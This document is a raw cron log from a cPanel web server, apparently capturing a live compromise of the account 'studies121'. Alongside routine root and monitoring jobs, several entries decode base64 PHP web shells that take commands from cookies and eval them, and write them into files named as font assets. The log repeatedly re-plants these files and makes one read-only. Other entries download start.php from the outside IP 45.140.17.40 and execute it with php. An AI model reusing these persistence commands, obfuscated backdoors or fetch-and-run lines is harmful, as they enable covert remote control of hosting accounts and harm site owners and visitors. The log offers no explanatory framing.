Sep  3 02:09:01 ip-184-168-122-23 CROND[14497]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 02:09:01 ip-184-168-122-23 CROND[14499]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 02:09:01 ip-184-168-122-23 CROND[14498]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:10:01 ip-184-168-122-23 CROND[14676]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 02:10:01 ip-184-168-122-23 CROND[14675]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:10:01 ip-184-168-122-23 CROND[14679]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 02:10:01 ip-184-168-122-23 CROND[14683]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 02:10:01 ip-184-168-122-23 CROND[14684]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:10:01 ip-184-168-122-23 CROND[14682]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 02:10:01 ip-184-168-122-23 CROND[14685]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 02:10:01 ip-184-168-122-23 CROND[14686]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 02:11:01 ip-184-168-122-23 CROND[14782]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:11:01 ip-184-168-122-23 CROND[14785]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 02:11:01 ip-184-168-122-23 CROND[14784]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 02:11:01 ip-184-168-122-23 CROND[14783]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:12:01 ip-184-168-122-23 CROND[14875]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 02:12:01 ip-184-168-122-23 CROND[14877]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 02:12:01 ip-184-168-122-23 CROND[14878]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:12:01 ip-184-168-122-23 CROND[14879]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 02:12:01 ip-184-168-122-23 CROND[14880]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:13:01 ip-184-168-122-23 CROND[14962]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 02:13:01 ip-184-168-122-23 CROND[14963]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:13:01 ip-184-168-122-23 CROND[14964]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:13:01 ip-184-168-122-23 CROND[14965]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 02:14:01 ip-184-168-122-23 CROND[15044]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 02:14:01 ip-184-168-122-23 CROND[15046]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 02:14:01 ip-184-168-122-23 CROND[15047]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:14:01 ip-184-168-122-23 CROND[15048]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 02:14:01 ip-184-168-122-23 CROND[15050]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:15:01 ip-184-168-122-23 CROND[15132]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 02:15:01 ip-184-168-122-23 CROND[15133]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 02:15:01 ip-184-168-122-23 CROND[15135]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  3 02:15:01 ip-184-168-122-23 CROND[15139]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 02:15:01 ip-184-168-122-23 CROND[15138]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 02:15:01 ip-184-168-122-23 CROND[15137]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:15:01 ip-184-168-122-23 CROND[15140]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:16:01 ip-184-168-122-23 CROND[15240]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 02:16:01 ip-184-168-122-23 CROND[15241]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:16:01 ip-184-168-122-23 CROND[15245]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 02:16:02 ip-184-168-122-23 CROND[15243]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 02:16:02 ip-184-168-122-23 CROND[15246]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 02:16:02 ip-184-168-122-23 CROND[15247]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:17:01 ip-184-168-122-23 CROND[15421]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:17:01 ip-184-168-122-23 CROND[15423]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:17:01 ip-184-168-122-23 CROND[15425]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 02:17:01 ip-184-168-122-23 CROND[15424]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 02:18:01 ip-184-168-122-23 CROND[15511]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 02:18:01 ip-184-168-122-23 CROND[15512]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 02:18:01 ip-184-168-122-23 CROND[15513]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 02:18:01 ip-184-168-122-23 CROND[15514]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:18:01 ip-184-168-122-23 CROND[15515]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:19:01 ip-184-168-122-23 CROND[15607]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 02:19:01 ip-184-168-122-23 CROND[15608]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:19:01 ip-184-168-122-23 CROND[15610]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 02:19:01 ip-184-168-122-23 CROND[15609]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:20:02 ip-184-168-122-23 CROND[15697]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:20:02 ip-184-168-122-23 CROND[15698]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 02:20:02 ip-184-168-122-23 CROND[15702]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 02:20:02 ip-184-168-122-23 CROND[15703]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 02:20:02 ip-184-168-122-23 CROND[15704]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 02:20:02 ip-184-168-122-23 CROND[15707]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:20:02 ip-184-168-122-23 CROND[15705]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 02:20:02 ip-184-168-122-23 CROND[15708]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 02:20:02 ip-184-168-122-23 CROND[15706]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 02:21:01 ip-184-168-122-23 CROND[15796]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
